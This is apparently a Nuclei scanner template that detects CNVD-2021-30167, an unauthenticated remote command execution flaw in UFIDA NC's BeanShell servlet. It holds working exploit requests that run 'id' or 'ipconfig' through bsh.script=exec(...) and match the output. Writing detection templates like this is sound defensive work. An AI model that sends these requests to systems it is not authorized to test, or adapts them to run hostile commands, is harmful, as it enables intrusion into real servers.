CNVD-2021-30167: UFIDA NC BeanShell Remote Command Execution

id: CNVD-2021-30167

info:
  name: UFIDA NC BeanShell Remote Command Execution
  author: pikpikcu
  severity: critical
  description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  reference:
    - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
    - https://www.cnvd.org.cn/webinfo/show/6491
    - https://chowdera.com/2022/03/202203110138271510.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: cnvd2021,cnvd,beanshell,rce,yonyou

http:
  - raw:
      - | #linux
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("id");
      - | #windows
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("ipconfig");

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid="
          - "Windows IP"
        condition: or

      - type: word
        words:
          - "BeanShell Test Servlet"

      - type: status
        status:
          - 200
# digest: 490a00463044022069838a2dc99a584f69e9690d6ae7368546d9bc44dd7ee2019160c0a93c1bc76f022015f35e51b8f6a67540071385d603f152968902cc14e3718e835b97e791449312:922c64590222798bb761d5b6d8e72950